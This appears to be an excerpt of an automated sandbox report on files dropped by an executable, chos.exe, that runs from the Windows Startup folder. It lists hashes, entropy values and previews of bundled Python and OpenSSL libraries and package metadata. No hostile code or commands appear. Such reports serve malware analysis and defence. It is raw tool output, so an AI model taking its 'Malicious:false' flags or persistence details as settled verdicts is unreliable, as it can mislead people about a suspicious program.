                                                                                                                                                                                                                                            SHA-512:6E1B223462DC124279BFCA74FD2C66FE18B368FFBCA540C84E82E0F5BCBEA0E10CC243975574FA95ACE437B9D8B03A446ED5EE0C9B1B094147CEFAF704DFE978
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".H...(.......L...............................................n....`......................................... l.......p..P...............P....l.../......,...@d...............................c..@............`.. ............................text....G.......H.................. ..`.rdata..h....`.......L..............@..@.data................b..............@....pdata..P............d..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\libssl-3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):792856
                                                                                                                                                                                                                                            Entropy (8bit):5.57949182561317
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
                                                                                                                                                                                                                                            MD5:4FF168AAA6A1D68E7957175C8513F3A2
                                                                                                                                                                                                                                            SHA1:782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
                                                                                                                                                                                                                                            SHA-256:2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
                                                                                                                                                                                                                                            SHA-512:C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..|m..|m..|m.u.m..|m+.}l..|m.u}l..|m+..l..|m+.xl..|m+.yl..|m..}l..|m..}m..|m..xl..|m..|l..|m...m..|m..~l..|mRich..|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\pyexpat.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):201488
                                                                                                                                                                                                                                            Entropy (8bit):6.375994899027017
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:6144:cAPHiRwroqoLHMpCSNVysh9CV2i6P/1vTg:6wrExSU6PdvTg
                                                                                                                                                                                                                                            MD5:CF2C3D127F11CB2C026E151956745564
                                                                                                                                                                                                                                            SHA1:B1C8C432FC737D6F455D8F642A4F79AD95A97BD3
                                                                                                                                                                                                                                            SHA-256:D3E81017B4A82AE1B85E8CD6B9B7EB04D8817E29E5BC9ECE549AC24C8BB2FF23
                                                                                                                                                                                                                                            SHA-512:FE3A9C8122FFFF4AF7A51DF39D40DF18E9DB3BC4AED6B161A4BE40A586AC93C1901ACDF64CC5BFFF6975D22073558FC7A37399D016296432057B8150848F636E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P.P.P.(t..P...P...P...P...P....P..(.P.P..P....P....P......P....P.Rich.P.........................PE..d.....g.........." ...)..................................................... ............`............................................P... ............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\python3.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):70416
                                                                                                                                                                                                                                            Entropy (8bit):6.1258200129869405
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
                                                                                                                                                                                                                                            MD5:16855EBEF31C5B1EBE767F1C617645B3
                                                                                                                                                                                                                                            SHA1:315521F3A748ABFA35CD4D48E8DD09D0556D989B
                                                                                                                                                                                                                                            SHA-256:A5C6A329698490A035133433928D04368CE6285BB91A9D074FC285DE4C9A32A4
                                                                                                                                                                                                                                            SHA-512:C3957B3BD36B10C7AD6EA1FF3BC7BD65CDCEB3E6B4195A25D0649AA0DA179276CE170DA903D77B50A38FC3D5147A45BE32DBCFDBFBF76CC46301199C529ADEA4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%?..a^e.a^e.a^e.).m.`^e.).e.`^e.)..`^e.).g.`^e.Richa^e.........PE..d......g.........." ...)............................................................z.....`.........................................`..................................../..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\python313.dll

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):6083856
                                                                                                                                                                                                                                            Entropy (8bit):6.126922729922386
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
                                                                                                                                                                                                                                            MD5:B9DE917B925DD246B709BB4233777EFD
                                                                                                                                                                                                                                            SHA1:775F258D8B530C6EA9F0DD3D1D0B61C1948C25D2
                                                                                                                                                                                                                                            SHA-256:0C0A66505093B6A4BB3475F716BD3D9552095776F6A124709C13B3F9552C7D99
                                                                                                                                                                                                                                            SHA-512:F4BF3398F50FDD3AB7E3F02C1F940B4C8B5650ED7AF16C626CCD1B934053BA73A35F96DA03B349C1EB614BB23E0BC6B5CC58B07B7553A5C93C6D23124F324A33
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).:+..T9......J........................................d.....uF]...`...........................................O.....h.P.......d......0].......\../....d..... A3.T.....................I.(....?3.@............P+..............................text....8+......:+................. ..`.rdata....%..P+...%..>+.............@..@.data...$9....P..N....P.............@....pdata.......0]...... U.............@..@PyRuntim.N...._..P....W.............@....rsrc.........d.......[.............@..@.reloc........d.......[.............@..B........................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\select.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):30992
                                                                                                                                                                                                                                            Entropy (8bit):6.554484610649281
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
                                                                                                                                                                                                                                            MD5:20831703486869B470006941B4D996F2
                                                                                                                                                                                                                                            SHA1:28851DFD43706542CD3EF1B88B5E2749562DFEE0
                                                                                                                                                                                                                                            SHA-256:78E5994C29D8851F28B5B12D59D742D876683AEA58ECEEA1FB895B2036CDCDEB
                                                                                                                                                                                                                                            SHA-512:4AAF5D66D2B73F939B9A91E7EDDFEB2CE2476C625586EF227B312230414C064AA850B02A4028363AA4664408C9510594754530A6D026A0A84BE0168D677C1BC4
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).....2............................................................`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...p....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11358
                                                                                                                                                                                                                                            Entropy (8bit):4.4267168336581415
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
                                                                                                                                                                                                                                            MD5:3B83EF96387F14655FC854DDC3C6BD57
                                                                                                                                                                                                                                            SHA1:2B8B815229AA8A61E483FB4BA0588B8B6C491890
                                                                                                                                                                                                                                            SHA-256:CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
                                                                                                                                                                                                                                            SHA-512:98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4648
                                                                                                                                                                                                                                            Entropy (8bit):5.006900644756252
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
                                                                                                                                                                                                                                            MD5:98ABEAACC0E0E4FC385DFF67B607071A
                                                                                                                                                                                                                                            SHA1:E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
                                                                                                                                                                                                                                            SHA-256:6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
                                                                                                                                                                                                                                            SHA-512:F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):2518
                                                                                                                                                                                                                                            Entropy (8bit):5.6307766747793275
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
                                                                                                                                                                                                                                            MD5:EB513CAFA5226DDA7D54AFDCC9AD8A74
                                                                                                                                                                                                                                            SHA1:B394C7AEC158350BAF676AE3197BEF4D7158B31C
                                                                                                                                                                                                                                            SHA-256:0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
                                                                                                                                                                                                                                            SHA-512:A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):91
                                                                                                                                                                                                                                            Entropy (8bit):4.687870576189661
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
                                                                                                                                                                                                                                            MD5:7D09837492494019EA51F4E97823D79F
                                                                                                                                                                                                                                            SHA1:7829B4324BB542799494131A270EC3BDAD4DEDEF
                                                                                                                                                                                                                                            SHA-256:9A0B8C95618C5FE5479CCA4A3A38D089D228D6CB1194216EE1AE26069CF5B363
                                                                                                                                                                                                                                            SHA-512:A0063220ECDD22C3E735ACFF6DE559ACF3AC4C37B81D37633975A22A28B026F1935CD1957C0FF7D2ECC8B7F83F250310795EECC5273B893FFAB115098F7B9C38
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Wheel-Version: 1.0.Generator: setuptools (70.1.1).Root-Is-Purelib: true.Tag: py3-none-any..

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):19
                                                                                                                                                                                                                                            Entropy (8bit):3.536886723742169
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:JSej0EBERG:50o4G
                                                                                                                                                                                                                                            MD5:A24465F7850BA59507BF86D89165525C
                                                                                                                                                                                                                                            SHA1:4E61F9264DE74783B5924249BCFE1B06F178B9AD
                                                                                                                                                                                                                                            SHA-256:08EDDF0FDCB29403625E4ACCA38A872D5FE6A972F6B02E4914A82DD725804FE0
                                                                                                                                                                                                                                            SHA-512:ECF1F6B777970F5257BDDD353305447083008CEBD8E5A27C3D1DA9C7BDC3F9BF3ABD6881265906D6D5E11992653185C04A522F4DB5655FF75EEDB766F93D5D48
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:importlib_metadata.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text, with very long lines (888)
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1335
                                                                                                                                                                                                                                            Entropy (8bit):4.226823573023539
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
                                                                                                                                                                                                                                            MD5:4CE7501F6608F6CE4011D627979E1AE4
                                                                                                                                                                                                                                            SHA1:78363672264D9CD3F72D5C1D3665E1657B1A5071
                                                                                                                                                                                                                                            SHA-256:37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
                                                                                                                                                                                                                                            SHA-512:A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\INSTALLER

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4
                                                                                                                                                                                                                                            Entropy (8bit):1.5
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:3:Mn:M
                                                                                                                                                                                                                                            MD5:365C9BFEB7D89244F2CE01C1DE44CB85
                                                                                                                                                                                                                                            SHA1:D7A03141D5D6B1E88B6B59EF08B6681DF212C599
                                                                                                                                                                                                                                            SHA-256:CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
                                                                                                                                                                                                                                            SHA-512:D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:pip.

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:ASCII text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):1107
                                                                                                                                                                                                                                            Entropy (8bit):5.115074330424529
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:24:PWmrRONJHLH0cPP3gtkHw1h39QHOsUv4eOk4/+jvho3nPz:ttONJbbvE/NQHOs5eNS3n7
                                                                                                                                                                                                                                            MD5:7FFB0DB04527CFE380E4F2726BD05EBF
                                                                                                                                                                                                                                            SHA1:5B39C45A91A556E5F1599604F1799E4027FA0E60
                                                                                                                                                                                                                                            SHA-256:30C23618679108F3E8EA1D2A658C7CA417BDFC891C98EF1A89FA4FF0C9828654
                                                                                                                                                                                                                                            SHA-512:205F284F3A7E8E696C70ED7B856EE98C1671C68893F0952EEC40915A383BC452B99899BDC401F9FE161A1BF9B6E2CEA3BCD90615EEE9173301657A2CE4BAFE14
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MIT License..Copyright (c) 2012 Daniel Holth <dholth@fastmail.fm> and contributors..Permission is hereby granted, free of charge, to any person obtaining a.copy of this software and associated documentation files (the "Software"),.to deal in the Software without restriction, including without limitation.the rights to use, copy, modify, merge, publish, distribute, sublicense,.and/or sell copies of the Software, and to permit persons to whom the.Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included.in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL.THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR.OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERW

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\METADATA

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:Unicode text, UTF-8 text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):2153
                                                                                                                                                                                                                                            Entropy (8bit):5.088249746074878
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:48:DEhpFu5MktjaywDK48d+md+7uT8RfkD1UKd+mOl1Awry:DEhpiMktjayq/7kOfsUzmbYy
                                                                                                                                                                                                                                            MD5:EBEA27DA14E3F453119DC72D84343E8C
                                                                                                                                                                                                                                            SHA1:7CEB6DBE498B69ABF4087637C6F500742FF7E2B4
                                                                                                                                                                                                                                            SHA-256:59BAC22B00A59D3E5608A56B8CF8EFC43831A36B72792EE4389C9CD4669C7841
                                                                                                                                                                                                                                            SHA-512:A41593939B9325D40CB67FD3F41CD1C9E9978F162487FB469094C41440B5F48016B9A66BE2E6E4A0406D6EEDB25CE4F5A860BA1E3DC924B81F63CEEE3AE31117
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:Metadata-Version: 2.1.Name: wheel.Version: 0.43.0.Summary: A built-package format for Python.Keywords: wheel,packaging.Author-email: Daniel Holth <dholth@fastmail.fm>.Maintainer-email: Alex Gr.nholm <alex.gronholm@nextday.fi>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Topic :: System :: Archiving :: Packaging.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Requires-Dist: pytest >= 6.0.0 ; extra == "test".Requires-Dist: setuptools >= 65 ; extra == "test".Project-URL: Changelog, https://wheel.readthedocs.io/en/s

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\RECORD

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:CSV text
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):4557
